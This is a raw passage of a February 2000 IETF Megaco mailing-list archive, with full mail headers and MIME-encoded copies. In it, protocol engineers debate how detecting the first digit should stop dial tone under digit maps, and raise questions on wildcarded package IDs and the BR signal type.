c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQogICAgZW1haWw6IGpzZWdlcnNAbHVj ZW50LmNvbTwvRk9OVD4gPEJSPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPkx1Y2VudA0KICAgIFRl Y2hub2xvZ2llcyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOw0KICAgIFJvb20gSEUgMzA2PC9GT05UPiA8QlI+PEZPTlQgZmFjZT1B cmlhbCBzaXplPTI+RGVwdC4gRm9yd2FyZCBMb29raW5nDQogICAgV29yayZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0K ICAgIHBob25lOiArMzEgMzUgNjg3IDQ3MjQ8L0ZPTlQ+IDxCUj48Rk9OVCBmYWNlPUFyaWFsIHNp emU9Mj5QLk8uIEJveCAxOCwgMTI3MA0KICAgIEFBJm5ic3A7DQogICAgSHVpemVuJm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7DQogICAgZmF4OiArMzEgMzUgNjg3IDU5NTQ8L0ZPTlQ+IDwvUD48L1VMPjwvQkxPQ0tRVU9U RT48L0JPRFk+PC9IVE1MPg0KDQo= --0__=zowXImtNLJPWnVea9o9wrd1FMnNmoHWCjz0eIFscKWHLqWxM3pbwixRb-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 12:07:28 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25445 for ; Tue, 1 Feb 2000 12:07:21 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.783BE870@standards.nortelnetworks.com>; Tue, 1 Feb 2000 12:04:19 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17680 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 12:02:46 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.407E7FB0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 12:02:46 -0500 Received: from zmers013 by smtprch1.nortel.com; Tue, 1 Feb 2000 11:03:48 -0600 Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Tue, 1 Feb 2000 12:03:32 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1A9LM60Y>; Tue, 1 Feb 2000 12:03:31 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6CD6.445B79B0" Message-ID: Date: Tue, 1 Feb 2000 12:03:24 -0500 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: FW: Re: Stopping of Dial Tone X-To: bmbabu@HSS.HNS.COM To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6CD6.445B79B0 Content-Type: text/plain; charset="iso-8859-1" The syntax involved in use of the digit map requires specification of the class of events which are to be mapped (e.g. dd/*). The optional KeepActive parameter can be set for dd/* if continuation of signals is desired. Otherwise the usual rule for detected events applies: the signal(s) stop. In other words, events are detected while the digit map matching is in progress, and have their usual effect on signals. I will add text to my "Issue Scorecard" under the "clarifications" heading, against the digit map section. > -----Original Message----- > From: Madhu Babu [SMTP:bmbabu@HSS.HNS.COM] > Sent: Tuesday, February 01, 2000 11:36 AM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: FW: Re: Stopping of Dial Tone > > > > > I think that Murat has correctly expressed my concern. As far as I > understand, > the event digit map is > said to have occurred when there is a match found not when any digit is > received. If that is the case > then every digit would have to be treated as an event occurred. Please > note > that the MG does not have > the awareness of whether it is acting as a residential gateway or a > trunking > gateway or whatever. The > processing that a dial tone is to be stopped when the first digit is > detected > is specific to the residential > gateway. A similar behaviour may not be expected in other scenarios i.e. > it > may not always be required to stop > an ongoing signal when the first digit is received. How does the MG > distinguish between these two scenarios ? > Kindly elaborate. > > Regards > -Madhubabu > Hughes Software Systems. > > > > > Murat Bog on 02/01/2000 05:34:23 AM > > Please respond to Murat Bog > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > cc: (bcc: Madhu B Babu/HSS) > > Subject: Re: FW: Re: Stopping of Dial Tone > > > > > Unless I have missed some obvious points, I don't see this as a non-issue > and I share the concern with Madhu Babu. Although we all know what the > desired behavior is, neither the current definition of the ce event in the > dd package nor that of the DigitMap descriptor in section 7.1.14 supports > that behavior. The dd/ce event is detected by the MG when the > digits/timers > match the dial plan. We want the dial tone to stop immediately after the > detection of the first digit. At that time, however, there is no match > against the dial plan (unless the dial plan is something like "x") and a > dd/ce event which should stop the dial tone does not exist yet. > > I don't know of any other place in the protocol specification where this > issue is explicitly addressed. The ABNF changes regarding the event > descriptor, introduced in v13 and retained in v14, show the eventDM as > possible a parameter of a requestedEvent, but nothing is said about the > handling of signals if eventDM is used; i.e. stop signals after the first > digit. If this were the intent, I think it should be made explicit in the > text. If not, I am not sure it would be a good idea to change the > definition of dd/ce event to the same effect since it would create an > exception to the general model. > > It also seems to me that there may be other ways of expressing the desired > behaviour. One example that I remember have been discussed on the list > before used the embedding capability as follows (assume event buffering is > off): > > Events = 2223 { > al/on, > dd/etd { > tl = *, > Embed { > Events = 2224 { > dd/ce { > DigitMap = DialPlan0 > } > } > } > } > Signals { > cg/dt > } > > I am assuming that if embedding is used in a requestedEvent, the > processing > is such that a notify command is not sent when that event is detected but > rather the event is applied against the embedded event descriptor (if > there > is one). Otherwise, two notify commands will be sent: one when the first > digit is detected and the second when the following digits/timers match > the > digit map. This may or may not be the desired behavior but in any case > this > could be another area for the text to benefit from some clarification. > > > Murat Bog. > CopperCom Inc. > > -----Original Message----- > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM] > Sent: Monday, January 31, 2000 6:52 AM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: FW: Re: Stopping of Dial Tone > > > > I'm happy to accept this as the common understanding. > > -----Original Message----- > From: Selvam Rengasami [SMTP:srengasa@TELCORDIA.COM] > Sent: Monday, January 31, 2000 8:17 AM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: FW: Re: Stopping of Dial Tone > > John, > > This was also my working assumption and I agree that I don't > really > see this as > a problem either. > > -Selvam Rengasami > Telcordia Technologies > > Tel: +1 732 758 5260 > E-mail: srengasa@telcordia.com > > > > > > John Segers on 01/31/2000 06:33:41 AM > > Please respond to John Segers > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > cc: (bcc: Selvam Rengasami/Telcordia) > Subject: Re: FW: Re: Stopping of Dial Tone > > > > > Tom, > > Is it really a problem? The way I always understood this, is that > detection of an event stops an active signal. It doesn't matter how the > event is detected or reported. So an event that leads to a partial > match in a digit map (the first digit) would stop dialtone. > > Is my thinking flawed? > > John > > Tom-PT Taylor wrote: > > > > Resend -- first attempt got swallowed. > > > > > -----Original Message----- > > > From: Taylor, Tom-PT [CAR:B904:EXCH] > > > Sent: Wednesday, January 26, 2000 12:46 PM > > > To: 'Megaco' > > > Subject: Re: Stopping of Dial Tone > > > > > > The problem is real. The question is what event detection mechanism > to > > > use to stop dial tone. It doesn't matter whether we define a new > start > of > > > dialling event or simply use the existing dd/* ("detect any DTMF > digit"): > > > there is a problem of potential interaction with the digit map. The > most > > > straightforward solution is that the MGC has to ask that the first > digit > > > > be reported, and only after that it can send down a digit map for > > > everything else. Alternatively we have to modify section 7.1.8 to > make > it > > > clear that it is possible to request digit detection in parallel with > > > digit mapping (i.e. dd/* in combination with dd/ce {...} means that > > > individual digit events are detected, but the same digits are also > > > processed by the digit map. > > > > > > Comments? > > > > > > > > > From: Madhu Babu > > > Subject: Stopping of Dial tone > > > > > > > > > Hi all, > > > > > > According to the example in the Appendix A.1.2 > when > > > MGC request > > > MG to apply dial tone and check for digit events > it > is > > > specified > > > as > > > > > > Events = 2223 { > > > al/on, dd/ce {DigitMap=Dialplan0} > > > } > > > Signals {cg/dt}, > > > > > > According to the protocol an signal is stopped > > > Whenever any > > > event occurs. and here the event requested by MGC > is > > > > digitmap > > > completion,that means dial tone will be stopped > when > > > > we get > > > all the digits (as implied by the name digitmap > > > completion). > > > What I suggest is that a new event like > > > "firstdigitcompletion" > > > should also be specified, otherwise how can the > first > > > digit itself > > > stops the dialtone. > > > > > > regards > > > -Madhubabu > > > > > > Tom Taylor > > > Advisor -- IPConnect Standards > > > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor) > > > Phone and FAX: +1 613 736 0961 > > > > > -- > John Segers email: jsegers@lucent.com > Lucent Technologies Room HE 306 > Dept. Forward Looking Work phone: +31 35 687 4724 > P.O. Box 18, 1270 AA Huizen fax: +31 35 687 5954 > > << File: Internet HTML >> ------_=_NextPart_001_01BF6CD6.445B79B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: FW: Re: Stopping of Dial Tone

The syntax involved = in use of the digit map requires specification of the class of events = which are to be mapped (e.g. dd/*).  The optional KeepActive = parameter can be set for dd/* if continuation of signals is = desired.  Otherwise the usual rule for detected events applies: = the signal(s) stop.

In other words, = events are detected while the digit map matching is in progress, and = have their usual effect on signals.  I will add text to my = "Issue Scorecard" under the "clarifications" = heading, against the digit map section.

    -----Original Message-----
    From:   Madhu Babu [SMTP:bmbabu@HSS.HNS.COM]
    Sent:   Tuesday, February 01, 2000 11:36 AM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = Re: FW: Re: Stopping of Dial = Tone




    I think that Murat has correctly = expressed my concern. As far as I understand,
    the event digit map is
      said to have occurred when = there is a match found not when any digit is
    received. If that is the case
      then every digit would have to = be treated as an event occurred. Please note
    that the MG does not have
      the awareness of whether it is = acting as a residential gateway or a trunking
    gateway or whatever. The
      processing that a dial tone is = to be stopped when the first digit is detected
    is specific to the residential
      gateway. A similar behaviour = may not be expected in other scenarios i.e. it
    may not always be required to = stop
      an ongoing signal when the = first digit is received. How does the MG
    distinguish between these two = scenarios ?
      Kindly elaborate.

    Regards
    -Madhubabu
    Hughes Software Systems.




    Murat Bog <mbog@COPPERCOM.COM> = on 02/01/2000 05:34:23 AM

    Please respond to Murat Bog = <mbog@COPPERCOM.COM>

    To:   = MEGACO@STANDARDS.NORTELNETWORKS.COM
    cc:    (bcc: Madhu B = Babu/HSS)

    Subject:  Re: FW: Re: Stopping of = Dial Tone




    Unless I have missed some obvious = points, I don't see this as a non-issue
    and I share the concern with Madhu = Babu.  Although we all know what the
    desired behavior is, neither the = current definition of the ce event in the
    dd package nor that of the DigitMap = descriptor in section 7.1.14 supports
    that behavior.  The dd/ce event = is detected by the MG when the digits/timers
    match the dial plan.  We want = the dial tone to stop immediately after the
    detection of the first digit.  = At that time, however, there is no match
    against the dial plan (unless the = dial plan is something like "x") and a
    dd/ce event which should stop the = dial tone does not exist yet.

    I don't know of any other place in the = protocol specification where this
    issue is explicitly addressed.  = The ABNF changes regarding the event
    descriptor, introduced in v13 and = retained in v14, show the eventDM as
    possible a parameter of a = requestedEvent, but nothing is said about the
    handling of signals if eventDM is = used; i.e. stop signals after the first
    digit.  If this were the intent, = I think it should be made explicit in the
    text.  If not, I am not sure it = would be a good idea to change the
    definition of dd/ce event to the same = effect since it would create an
    exception to the general = model.

    It also seems to me that there may be = other ways of expressing the desired
    behaviour.  One example that I = remember have been discussed on the list
    before used the embedding capability = as follows (assume event buffering is
    off):

    Events =3D 2223 {
      al/on,
      dd/etd {
         tl =3D = *,
         Embed = {
           = Events =3D 2224 {
             dd/ce = {
             &nb= sp;  DigitMap =3D DialPlan0
             = }
         }
      }
    }
    Signals {
      cg/dt
    }

    I am assuming that if embedding is = used in a requestedEvent, the processing
    is such that a notify command is not = sent when that event is detected but
    rather the event is applied against = the embedded event descriptor (if there
    is one).  Otherwise, two notify = commands will be sent: one when the first
    digit is detected and the second when = the following digits/timers match the
    digit map.  This may or may not = be the desired behavior but in any case this
    could be another area for the text to = benefit from some clarification.


    Murat Bog.
    CopperCom Inc.

     -----Original = Message-----
    From: Tom-PT Taylor = [mailto:taylor@NORTELNETWORKS.C= OM]
    Sent: Monday, January 31, 2000 6:52 = AM
    To: = MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject: Re: FW: Re: Stopping of Dial = Tone



    I'm happy to accept this as the common = understanding.

            -----Original = Message-----
    From:   Selvam Rengasami = [SMTP:srengasa@TELCORDIA.COM]
    Sent:   Monday, January 31, = 2000 8:17 AM
    To:     = MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:        Re: = FW: Re: Stopping of Dial Tone

            John,

            This was also = my working assumption and I agree that I don't really
    see this as
    a problem either.

            -Selvam = Rengasami
    Telcordia Technologies

            Tel:  +1 = 732 758 5260
    E-mail:  = srengasa@telcordia.com





            John Segers = <jsegers@LUCENT.COM> on 01/31/2000 06:33:41 AM

            Please = respond to John Segers <jsegers@LUCENT.COM>

            = To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
    cc:    (bcc: Selvam = Rengasami/Telcordia)
    Subject:  Re: FW: Re: Stopping = of Dial Tone




            Tom,

            Is it really = a problem?  The way I always understood this, is that
    detection of an event stops an active = signal.  It doesn't matter how the
    event is detected or reported.  = So an event that leads to a partial
    match in a digit map (the first = digit) would stop dialtone.

            Is my = thinking flawed?

            John

            Tom-PT Taylor = wrote:
    >
    > Resend -- first attempt got = swallowed.
    >
    > > -----Original = Message-----
    > > From: Taylor, Tom-PT = [CAR:B904:EXCH]
    > > Sent: Wednesday, January = 26, 2000 12:46 PM
    > > To:   = 'Megaco'
    > > = Subject:      Re: Stopping of Dial Tone
    > >
    > > The problem is real.  = The question is what event detection mechanism to
    > > use to stop dial = tone.  It doesn't matter whether we define a new start
    of
    > > dialling event or simply = use the existing dd/* ("detect any DTMF
    digit"):
    > > there is a problem of = potential interaction with the digit map.  The
    most
    > > straightforward solution is = that the MGC has to ask that the first digit

    > > be reported, and only after = that it can send down a digit map for
    > > everything else.  = Alternatively we have to modify section 7.1.8 to make
    it
    > > clear that it is possible = to request digit detection in parallel with
    > > digit mapping (i.e. dd/* in = combination with dd/ce {...} means that
    > > individual digit events are = detected, but the same digits are also
    > > processed by the digit = map.
    > >
    > > Comments?
    > >
    > >
    > = >           &n= bsp;         = From:         Madhu Babu = <bmbabu@HSS.HNS.COM>
    > = >           &n= bsp;         = Subject:      Stopping of Dial tone
    > >
    > >
    > = >           &n= bsp;         Hi all,
    > >
    > = >           &n= bsp;         According to the = example in the Appendix A.1.2 when
    > > MGC request
    > = >           &n= bsp;         MG to apply dial = tone and check for digit events it
    is
    > > specified
    > = >           &n= bsp;         as
    > >
    > = >           &n= bsp;         Events =3D 2223 = {
    > = >           &n= bsp;         al/on, dd/ce = {DigitMap=3DDialplan0}
    > = >           &n= bsp;         }
    > = >           &n= bsp;         Signals = {cg/dt},
    > >
    > >     = ;            = ;    According to the protocol an signal is = stopped
    > > Whenever any
    > = >           &n= bsp;         event occurs. and = here the event requested by MGC is

    > > digitmap
    > = >           &n= bsp;         completion,that = means dial tone will be stopped when

    > > we get
    > = >           &n= bsp;         all the digits (as = implied by the name digitmap
    > > completion).
    > = >           &n= bsp;         What I suggest is = that a new event like
    > > = "firstdigitcompletion"
    > = >           &n= bsp;         should also  = be specified, otherwise how can the
    first
    > > digit itself
    > = >           &n= bsp;         stops the = dialtone.
    > >
    > = >           &n= bsp;         regards
    > = >           &n= bsp;         -Madhubabu
    > >
    > > Tom Taylor
    > > Advisor -- IPConnect = Standards
    > > E-mail: = taylor@nortelnetworks.com (internally, Tom-PT Taylor)
    > > Phone and FAX: +1 613 736 = 0961
    > >

            --
    John = Segers           =             =            email: = jsegers@lucent.com
    Lucent = Technologies          =             =             =       Room HE 306
    Dept. Forward Looking = Work           &n= bsp;          phone: +31 = 35 687 4724
    P.O. Box 18, 1270 AA  = Huizen           =            fax: +31 = 35 687 5954

     << File: Internet HTML = >>

------_=_NextPart_001_01BF6CD6.445B79B0-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 12:07:30 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25456 for ; Tue, 1 Feb 2000 12:07:29 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.78A4BC60@standards.nortelnetworks.com>; Tue, 1 Feb 2000 12:04:20 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17665 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 12:03:34 -0500 Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.F72B3F70@standards.nortelnetworks.com>; Tue, 1 Feb 2000 11:53:33 -0500 Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id RAA16008; Tue, 1 Feb 2000 17:55:33 +0100 (MET) Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id RAA09072; Tue, 1 Feb 2000 17:55:33 +0100 Received: from ericsson.com (kipe149.eraj.ericsson.se [147.214.68.149]) by elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id RAA08302; Tue, 1 Feb 2000 17:55:32 +0100 (MET) X-Mailer: Mozilla 4.61 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 References: <65256878.005AE84E.00@sandesh.hss.hns.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <38971006.76CA7F23@ericsson.com> Date: Tue, 1 Feb 2000 17:55:34 +0100 Reply-To: Christian Groves Sender: "Media Gateway Control (megaco)" From: Christian Groves Subject: Re: FW: Re: Stopping of Dial Tone X-To: bmbabu@HSS.HNS.COM To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7bit Hello Madhu, The MG can disinguish whether is it meant to stop a signal or not because the MGC will inform it be setting the KEEPACTIVE flag. If this is set the signal keeps playing. Cheers, Christian Madhu Babu wrote: > > I think that Murat has correctly expressed my concern. As far as I understand, > the event digit map is > said to have occurred when there is a match found not when any digit is > received. If that is the case > then every digit would have to be treated as an event occurred. Please note > that the MG does not have > the awareness of whether it is acting as a residential gateway or a trunking > gateway or whatever. The > processing that a dial tone is to be stopped when the first digit is detected > is specific to the residential > gateway. A similar behaviour may not be expected in other scenarios i.e. it > may not always be required to stop > an ongoing signal when the first digit is received. How does the MG > distinguish between these two scenarios ? > Kindly elaborate. > > Regards > -Madhubabu > Hughes Software Systems. > > Murat Bog on 02/01/2000 05:34:23 AM > > Please respond to Murat Bog > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > cc: (bcc: Madhu B Babu/HSS) > > Subject: Re: FW: Re: Stopping of Dial Tone > > Unless I have missed some obvious points, I don't see this as a non-issue > and I share the concern with Madhu Babu. Although we all know what the > desired behavior is, neither the current definition of the ce event in the > dd package nor that of the DigitMap descriptor in section 7.1.14 supports > that behavior. The dd/ce event is detected by the MG when the digits/timers > match the dial plan. We want the dial tone to stop immediately after the > detection of the first digit. At that time, however, there is no match > against the dial plan (unless the dial plan is something like "x") and a > dd/ce event which should stop the dial tone does not exist yet. > > I don't know of any other place in the protocol specification where this > issue is explicitly addressed. The ABNF changes regarding the event > descriptor, introduced in v13 and retained in v14, show the eventDM as > possible a parameter of a requestedEvent, but nothing is said about the > handling of signals if eventDM is used; i.e. stop signals after the first > digit. If this were the intent, I think it should be made explicit in the > text. If not, I am not sure it would be a good idea to change the > definition of dd/ce event to the same effect since it would create an > exception to the general model. > > It also seems to me that there may be other ways of expressing the desired > behaviour. One example that I remember have been discussed on the list > before used the embedding capability as follows (assume event buffering is > off): > > Events = 2223 { > al/on, > dd/etd { > tl = *, > Embed { > Events = 2224 { > dd/ce { > DigitMap = DialPlan0 > } > } > } > } > Signals { > cg/dt > } > > I am assuming that if embedding is used in a requestedEvent, the processing > is such that a notify command is not sent when that event is detected but > rather the event is applied against the embedded event descriptor (if there > is one). Otherwise, two notify commands will be sent: one when the first > digit is detected and the second when the following digits/timers match the > digit map. This may or may not be the desired behavior but in any case this > could be another area for the text to benefit from some clarification. > > Murat Bog. > CopperCom Inc. > > -----Original Message----- > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM] > Sent: Monday, January 31, 2000 6:52 AM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: FW: Re: Stopping of Dial Tone > > I'm happy to accept this as the common understanding. > > -----Original Message----- > From: Selvam Rengasami [SMTP:srengasa@TELCORDIA.COM] > Sent: Monday, January 31, 2000 8:17 AM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: FW: Re: Stopping of Dial Tone > > John, > > This was also my working assumption and I agree that I don't really > see this as > a problem either. > > -Selvam Rengasami > Telcordia Technologies > > Tel: +1 732 758 5260 > E-mail: srengasa@telcordia.com > > John Segers on 01/31/2000 06:33:41 AM > > Please respond to John Segers > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > cc: (bcc: Selvam Rengasami/Telcordia) > Subject: Re: FW: Re: Stopping of Dial Tone > > Tom, > > Is it really a problem? The way I always understood this, is that > detection of an event stops an active signal. It doesn't matter how the > event is detected or reported. So an event that leads to a partial > match in a digit map (the first digit) would stop dialtone. > > Is my thinking flawed? > > John > > Tom-PT Taylor wrote: > > > > Resend -- first attempt got swallowed. > > > > > -----Original Message----- > > > From: Taylor, Tom-PT [CAR:B904:EXCH] > > > Sent: Wednesday, January 26, 2000 12:46 PM > > > To: 'Megaco' > > > Subject: Re: Stopping of Dial Tone > > > > > > The problem is real. The question is what event detection mechanism to > > > use to stop dial tone. It doesn't matter whether we define a new start > of > > > dialling event or simply use the existing dd/* ("detect any DTMF > digit"): > > > there is a problem of potential interaction with the digit map. The > most > > > straightforward solution is that the MGC has to ask that the first digit > > > > be reported, and only after that it can send down a digit map for > > > everything else. Alternatively we have to modify section 7.1.8 to make > it > > > clear that it is possible to request digit detection in parallel with > > > digit mapping (i.e. dd/* in combination with dd/ce {...} means that > > > individual digit events are detected, but the same digits are also > > > processed by the digit map. > > > > > > Comments? > > > > > > > > > From: Madhu Babu > > > Subject: Stopping of Dial tone > > > > > > > > > Hi all, > > > > > > According to the example in the Appendix A.1.2 when > > > MGC request > > > MG to apply dial tone and check for digit events it > is > > > specified > > > as > > > > > > Events = 2223 { > > > al/on, dd/ce {DigitMap=Dialplan0} > > > } > > > Signals {cg/dt}, > > > > > > According to the protocol an signal is stopped > > > Whenever any > > > event occurs. and here the event requested by MGC is > > > > digitmap > > > completion,that means dial tone will be stopped when > > > > we get > > > all the digits (as implied by the name digitmap > > > completion). > > > What I suggest is that a new event like > > > "firstdigitcompletion" > > > should also be specified, otherwise how can the > first > > > digit itself > > > stops the dialtone. > > > > > > regards > > > -Madhubabu > > > > > > Tom Taylor > > > Advisor -- IPConnect Standards > > > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor) > > > Phone and FAX: +1 613 736 0961 > > > > > -- > John Segers email: jsegers@lucent.com > Lucent Technologies Room HE 306 > Dept. Forward Looking Work phone: +31 35 687 4724 > P.O. Box 18, 1270 AA Huizen fax: +31 35 687 5954 > > ------------------------------------------------------------------------ > Name: att1.htm > att1.htm Type: Hypertext Markup Language (text/html) > Encoding: base64 > Description: Internet HTML From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 13:35:14 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA27971 for ; Tue, 1 Feb 2000 13:35:14 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C9163000@standards.nortelnetworks.com>; Tue, 1 Feb 2000 13:32:29 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17779 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 13:31:09 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.994CE940@standards.nortelnetworks.com>; Tue, 1 Feb 2000 13:31:09 -0500 Received: from zmers013 by smtprch1.nortel.com; Tue, 1 Feb 2000 12:32:47 -0600 Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Tue, 1 Feb 2000 13:32:30 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1A9LM90L>; Tue, 1 Feb 2000 13:32:29 -0500 X-Mailer: Internet Mail Service (5.5.2448.0) Message-ID: Date: Tue, 1 Feb 2000 13:32:19 -0500 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Meaning Of Wildcarded PackageID To: MEGACO@STANDARDS.NORTELNETWORKS.COM Our ABNF pkgdName production shows the possibility of using "*" instead of the package name. What is this supposed to mean? I don't like the look of it -- it suggests the possibility of unintended name space collisions. Tom Taylor Advisor -- IPConnect Standards E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor) Phone and FAX: +1 613 736 0961 From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 14:33:16 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA00081 for ; Tue, 1 Feb 2000 14:33:15 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E6AE5A90@standards.nortelnetworks.com>; Tue, 1 Feb 2000 14:30:34 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17835 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 14:29:22 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.BB671980@standards.nortelnetworks.com>; Tue, 1 Feb 2000 14:29:22 -0500 Received: from zmers013 by smtprch1.nortel.com; Tue, 1 Feb 2000 13:31:06 -0600 Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Tue, 1 Feb 2000 14:30:41 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1A9LNBF2>; Tue, 1 Feb 2000 14:30:40 -0500 X-Mailer: Internet Mail Service (5.5.2448.0) Message-ID: Date: Tue, 1 Feb 2000 14:30:31 -0500 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Meaning Of BR Signal Type To: MEGACO@STANDARDS.NORTELNETWORKS.COM This one has been flogged nearly to death, but from recent discussions I think we have the following understanding of the BR signal type. BR: the duration is known to the MG (either by provisioning or by design). The MGC must not specify a duration. I would propose that this definition replace the current text in section 7.1.11. Tom Taylor Advisor -- IPConnect Standards E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor) Phone and FAX: +1 613 736 0961 From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 14:43:25 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA00337 for ; Tue, 1 Feb 2000 14:43:25 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.4D7B88A0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 14:40:36 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17857 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 14:39:35 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for 